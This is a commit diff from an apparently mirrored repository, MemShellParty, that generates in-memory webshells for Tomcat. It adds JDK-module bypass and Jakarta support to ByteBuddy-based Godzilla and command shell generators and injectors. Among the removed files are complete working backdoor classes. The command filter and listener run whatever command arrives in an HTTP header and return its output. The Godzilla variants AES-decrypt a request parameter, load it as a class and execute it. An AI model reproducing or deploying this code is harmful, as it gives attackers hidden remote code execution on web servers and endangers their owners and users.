mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-24 16:01:52 +08:00
feat: support bypassJdkModule and Jakarta
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
@@ -19,6 +20,7 @@ public class CommandGenerator {
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
.redefine(commandClass)
|
||||
.name(commandClassName)
|
||||
.visit(TargetJDKVersionVisitorWrapper.DEFAULT)
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(fieldSets)
|
||||
.make()) {
|
||||
|
||||
@@ -1,10 +1,15 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.ServletRenameVisitorWrapper;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FieldAccessor;
|
||||
import net.bytebuddy.implementation.Implementation;
|
||||
import net.bytebuddy.implementation.SuperMethodCall;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import net.bytebuddy.matcher.ElementMatchers;
|
||||
import org.apache.commons.codec.digest.DigestUtils;
|
||||
|
||||
@@ -17,6 +22,14 @@ public class GodzillaGenerator {
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName,
|
||||
String pass, String key,
|
||||
String headerName, String headerValue) {
|
||||
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, false, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion) {
|
||||
return generate(godzillaClass, godzillaClassName, pass, key, headerName, headerValue, useJakarta, targetJdkVersion, true);
|
||||
}
|
||||
|
||||
public static byte[] generate(Class<?> godzillaClass, String godzillaClassName, String pass, String key, String headerName, String headerValue, boolean useJakarta, int targetJdkVersion, boolean changeClassVersion) {
|
||||
String md5Key = DigestUtils.md5Hex(key).substring(0, 16);
|
||||
String md5 = DigestUtils.md5Hex(pass + md5Key).toUpperCase();
|
||||
Implementation.Composable fieldSets = SuperMethodCall.INSTANCE
|
||||
@@ -25,13 +38,26 @@ public class GodzillaGenerator {
|
||||
.andThen(FieldAccessor.ofField("md5").setsValue(md5))
|
||||
.andThen(FieldAccessor.ofField("headerName").setsValue(headerName))
|
||||
.andThen(FieldAccessor.ofField("headerValue").setsValue(headerValue));
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
.redefine(godzillaClass)
|
||||
.name(godzillaClassName)
|
||||
.constructor(ElementMatchers.any())
|
||||
.intercept(fieldSets)
|
||||
.make()) {
|
||||
|
||||
DynamicType.Builder<?> builder = new ByteBuddy().redefine(godzillaClass)
|
||||
.name(godzillaClassName);
|
||||
|
||||
if (changeClassVersion) {
|
||||
builder = builder.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion));
|
||||
}
|
||||
|
||||
if (targetJdkVersion >= Opcodes.V9) {
|
||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
if (useJakarta) {
|
||||
builder = builder.visit(ServletRenameVisitorWrapper.INSTANCE);
|
||||
}
|
||||
|
||||
builder = builder.constructor(ElementMatchers.any()).intercept(fieldSets);
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,10 +1,14 @@
|
||||
package com.reajason.javaweb.memsell;
|
||||
|
||||
import com.reajason.javaweb.buddy.ByPassJdkModuleInterceptor;
|
||||
import com.reajason.javaweb.buddy.TargetJDKVersionVisitorWrapper;
|
||||
import com.reajason.javaweb.config.Constants;
|
||||
import com.reajason.javaweb.util.CommonUtil;
|
||||
import lombok.SneakyThrows;
|
||||
import net.bytebuddy.ByteBuddy;
|
||||
import net.bytebuddy.dynamic.DynamicType;
|
||||
import net.bytebuddy.implementation.FixedValue;
|
||||
import net.bytebuddy.jar.asm.Opcodes;
|
||||
import org.apache.commons.codec.binary.Base64;
|
||||
|
||||
import java.util.Objects;
|
||||
@@ -19,14 +23,24 @@ public class InjectorGenerator {
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern) {
|
||||
return generate(injectClass, injectClassName, shellClassName, shellBytes, urlPattern, Constants.DEFAULT_VERSION);
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static byte[] generate(Class<?> injectClass, String injectClassName, String shellClassName, byte[] shellBytes, String urlPattern, int targetJdkVersion) {
|
||||
String base64String = Base64.encodeBase64String(CommonUtil.gzipCompress(shellBytes)).replace(System.lineSeparator(), "");;
|
||||
try (DynamicType.Unloaded<?> make = new ByteBuddy()
|
||||
DynamicType.Builder<?> builder = new ByteBuddy()
|
||||
.redefine(injectClass)
|
||||
.name(injectClassName)
|
||||
.visit(new TargetJDKVersionVisitorWrapper(targetJdkVersion))
|
||||
.method(named("getUrlPattern")).intercept(FixedValue.value(Objects.toString(urlPattern, "")))
|
||||
.method(named("getBase64String")).intercept(FixedValue.value(base64String))
|
||||
.method(named("getClassName")).intercept(FixedValue.value(shellClassName))
|
||||
.make()) {
|
||||
.method(named("getClassName")).intercept(FixedValue.value(shellClassName));
|
||||
if (targetJdkVersion >= Opcodes.V9) {
|
||||
builder = ByPassJdkModuleInterceptor.extend(builder);
|
||||
}
|
||||
|
||||
try (DynamicType.Unloaded<?> make = builder.make()) {
|
||||
return make.getBytes();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -4,8 +4,12 @@ import com.reajason.javaweb.config.*;
|
||||
import com.reajason.javaweb.memsell.CommandGenerator;
|
||||
import com.reajason.javaweb.memsell.GodzillaGenerator;
|
||||
import com.reajason.javaweb.memsell.InjectorGenerator;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.*;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.*;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.CommandFilter;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.CommandListener;
|
||||
import com.reajason.javaweb.memsell.tomcat.command.CommandValve;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaFilter;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaListener;
|
||||
import com.reajason.javaweb.memsell.tomcat.godzilla.GodzillaValve;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatFilterInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatListenerInjector;
|
||||
import com.reajason.javaweb.memsell.tomcat.injector.TomcatValveInjector;
|
||||
@@ -20,6 +24,7 @@ import java.util.Map;
|
||||
* @since 2024/11/22
|
||||
*/
|
||||
public class TomcatShell {
|
||||
public static final String JAKARTA = "Jakarta";
|
||||
public static final String SERVLET = "Servlet";
|
||||
public static final String JAKARTA_SERVLET = "JakartaServlet";
|
||||
public static final String FILTER = "Filter";
|
||||
@@ -28,6 +33,7 @@ public class TomcatShell {
|
||||
public static final String JAKARTA_LISTENER = "JakartaListener";
|
||||
public static final String WEBSOCKET = "Websocket";
|
||||
public static final String VALVE = "Valve";
|
||||
public static final String JAKARTA_VALVE = "JakartaValve";
|
||||
public static final String UPGRADE = "Upgrade";
|
||||
public static final String EXECUTOR = "Executor";
|
||||
|
||||
@@ -36,12 +42,15 @@ public class TomcatShell {
|
||||
*/
|
||||
public static final Map<String, Pair<Class<?>, Class<?>>> GODZILLA_SHELL_MAP = new HashMap<>();
|
||||
|
||||
|
||||
static {
|
||||
GODZILLA_SHELL_MAP.put(FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaJakartaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(GodzillaFilter.class, TomcatFilterInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaJakartaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(GodzillaListener.class, TomcatListenerInjector.class));
|
||||
GODZILLA_SHELL_MAP.put(VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||
// tomcat 无法同时引入两个版本的包
|
||||
GODZILLA_SHELL_MAP.put(JAKARTA_VALVE, Pair.of(GodzillaValve.class, TomcatValveInjector.class));
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -51,19 +60,20 @@ public class TomcatShell {
|
||||
|
||||
static {
|
||||
COMMAND_SHELL_MAP.put(FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandJakartaFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_FILTER, Pair.of(CommandFilter.class, TomcatFilterInjector.class));
|
||||
COMMAND_SHELL_MAP.put(LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandJakartaListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(JAKARTA_LISTENER, Pair.of(CommandListener.class, TomcatListenerInjector.class));
|
||||
COMMAND_SHELL_MAP.put(VALVE, Pair.of(CommandValve.class, TomcatValveInjector.class));
|
||||
}
|
||||
|
||||
@SneakyThrows
|
||||
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig) {
|
||||
public static GenerateResult generate(ShellTool shellTool, String shellType, ShellConfig shellConfig, int targetJdkVersion) {
|
||||
if (shellTool == null || shellType == null || shellConfig == null) {
|
||||
throw new IllegalArgumentException("Invalid arguments: shellTool, shellType, and shellConfig cannot be null.");
|
||||
}
|
||||
Pair<Class<?>, Class<?>> classPair;
|
||||
byte[] shellBytes;
|
||||
boolean useJakarta = shellType.startsWith(JAKARTA);
|
||||
switch (shellTool) {
|
||||
case Godzilla: {
|
||||
classPair = GODZILLA_SHELL_MAP.get(shellType);
|
||||
@@ -73,7 +83,10 @@ public class TomcatShell {
|
||||
godzillaConfig.getPass(),
|
||||
godzillaConfig.getKey(),
|
||||
godzillaConfig.getHeaderName(),
|
||||
godzillaConfig.getHeaderValue());
|
||||
godzillaConfig.getHeaderValue(),
|
||||
useJakarta,
|
||||
targetJdkVersion
|
||||
);
|
||||
break;
|
||||
}
|
||||
case CMD: {
|
||||
@@ -93,7 +106,8 @@ public class TomcatShell {
|
||||
shellConfig.getInjectorClassName(),
|
||||
shellConfig.getShellClassName(),
|
||||
shellBytes,
|
||||
shellConfig.getUrlPattern());
|
||||
shellConfig.getUrlPattern(),
|
||||
targetJdkVersion);
|
||||
|
||||
return GenerateResult.builder()
|
||||
.shellClassName(shellConfig.getShellClassName())
|
||||
|
||||
+1
-1
@@ -45,4 +45,4 @@ public class CommandFilter implements Filter {
|
||||
public void destroy() {
|
||||
|
||||
}
|
||||
}
|
||||
}
|
||||
-40
@@ -1,40 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.io.IOException;
|
||||
import java.io.InputStream;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
* @since 2024/11/24
|
||||
*/
|
||||
public class CommandJakartaFilter implements Filter {
|
||||
public String headerName;
|
||||
|
||||
@Override
|
||||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
|
||||
HttpServletRequest servletRequest = (HttpServletRequest) request;
|
||||
HttpServletResponse servletResponse = (HttpServletResponse) response;
|
||||
String cmd = servletRequest.getHeader(headerName);
|
||||
try {
|
||||
if (cmd != null) {
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
-70
@@ -1,70 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.command;
|
||||
|
||||
import jakarta.servlet.ServletOutputStream;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
|
||||
import java.io.InputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class CommandJakartaListener implements ServletRequestListener {
|
||||
public String headerName;
|
||||
|
||||
public CommandJakartaListener() {
|
||||
}
|
||||
|
||||
@Override
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
String cmd = request.getHeader(headerName);
|
||||
if (cmd != null) {
|
||||
HttpServletResponse servletResponse = this.getResponseFromRequest(request);
|
||||
Process exec = Runtime.getRuntime().exec(cmd);
|
||||
InputStream inputStream = exec.getInputStream();
|
||||
ServletOutputStream outputStream = servletResponse.getOutputStream();
|
||||
byte[] buf = new byte[8192];
|
||||
int length;
|
||||
while ((length = inputStream.read(buf)) != -1) {
|
||||
outputStream.write(buf, 0, length);
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
}
|
||||
-120
@@ -1,120 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.*;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.io.IOException;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaJakartaFilter extends ClassLoader implements Filter {
|
||||
public String key;
|
||||
public String pass;
|
||||
public String md5;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public GodzillaJakartaFilter() {
|
||||
}
|
||||
|
||||
public GodzillaJakartaFilter(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain chain) throws ServletException, IOException {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequest;
|
||||
HttpServletResponse response = (HttpServletResponse) servletResponse;
|
||||
try {
|
||||
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute("payload", (new GodzillaJakartaFilter(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f;
|
||||
try {
|
||||
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
} catch (InstantiationException | IllegalAccessException e) {
|
||||
throw new RuntimeException(e);
|
||||
}
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
}
|
||||
|
||||
} else {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
} catch (Exception e) {
|
||||
chain.doFilter(servletRequest, servletResponse);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
}
|
||||
-144
@@ -1,144 +0,0 @@
|
||||
package com.reajason.javaweb.memsell.tomcat.godzilla;
|
||||
|
||||
import javax.crypto.Cipher;
|
||||
import javax.crypto.spec.SecretKeySpec;
|
||||
import jakarta.servlet.ServletRequestEvent;
|
||||
import jakarta.servlet.ServletRequestListener;
|
||||
import jakarta.servlet.http.HttpServletRequest;
|
||||
import jakarta.servlet.http.HttpServletResponse;
|
||||
import jakarta.servlet.http.HttpSession;
|
||||
import java.io.ByteArrayOutputStream;
|
||||
import java.lang.reflect.Field;
|
||||
|
||||
/**
|
||||
* @author ReaJason
|
||||
*/
|
||||
public class GodzillaJakartaListener extends ClassLoader implements ServletRequestListener {
|
||||
public String md5;
|
||||
public String pass;
|
||||
public String key;
|
||||
public String headerName;
|
||||
public String headerValue;
|
||||
|
||||
public GodzillaJakartaListener() {
|
||||
}
|
||||
|
||||
public GodzillaJakartaListener(ClassLoader z) {
|
||||
super(z);
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static synchronized Object getFieldValue(Object obj, String name) throws Exception {
|
||||
Field field = null;
|
||||
Class<?> clazz = obj.getClass();
|
||||
while (clazz != Object.class) {
|
||||
try {
|
||||
field = clazz.getDeclaredField(name);
|
||||
break;
|
||||
} catch (NoSuchFieldException var5) {
|
||||
clazz = clazz.getSuperclass();
|
||||
}
|
||||
}
|
||||
if (field == null) {
|
||||
throw new NoSuchFieldException(name);
|
||||
} else {
|
||||
field.setAccessible(true);
|
||||
return field.get(obj);
|
||||
}
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static String base64Encode(byte[] bs) throws Exception {
|
||||
String value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||
Object encoder = base64.newInstance();
|
||||
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public static byte[] base64Decode(String bs) {
|
||||
byte[] value = null;
|
||||
Class<?> base64;
|
||||
try {
|
||||
base64 = Class.forName("java.util.Base64");
|
||||
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||
} catch (Exception var6) {
|
||||
try {
|
||||
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||
Object decoder = base64.newInstance();
|
||||
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
@SuppressWarnings("all")
|
||||
public Class<?> Q(byte[] cb) {
|
||||
return super.defineClass(cb, 0, cb.length);
|
||||
}
|
||||
|
||||
public byte[] x(byte[] s, boolean m) {
|
||||
try {
|
||||
Cipher c = Cipher.getInstance("AES");
|
||||
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||
return c.doFinal(s);
|
||||
} catch (Exception var4) {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
@Override
|
||||
@SuppressWarnings("all")
|
||||
public void requestInitialized(ServletRequestEvent servletRequestEvent) {
|
||||
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
|
||||
try {
|
||||
if (request.getHeader(headerName) != null
|
||||
&& request.getHeader(headerName).contains(headerValue)) {
|
||||
HttpServletResponse response = this.getResponseFromRequest(request);
|
||||
HttpSession session = request.getSession();
|
||||
byte[] data = base64Decode(request.getParameter(pass));
|
||||
data = this.x(data, false);
|
||||
if (session.getAttribute("payload") == null) {
|
||||
session.setAttribute(
|
||||
"payload",
|
||||
(new GodzillaJakartaListener(this.getClass().getClassLoader())).Q(data));
|
||||
} else {
|
||||
request.setAttribute("parameters", data);
|
||||
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||
Object f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||
f.equals(arrOut);
|
||||
f.equals(request);
|
||||
response.getWriter().write(md5.substring(0, 16));
|
||||
f.toString();
|
||||
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||
response.getWriter().write(md5.substring(16));
|
||||
response.flushBuffer();
|
||||
}
|
||||
}
|
||||
} catch (Exception ignored) {
|
||||
}
|
||||
}
|
||||
|
||||
private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception {
|
||||
HttpServletResponse response = null;
|
||||
try {
|
||||
response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response");
|
||||
} catch (Exception e) {
|
||||
response = (HttpServletResponse) getFieldValue(request, "response");
|
||||
}
|
||||
return response;
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user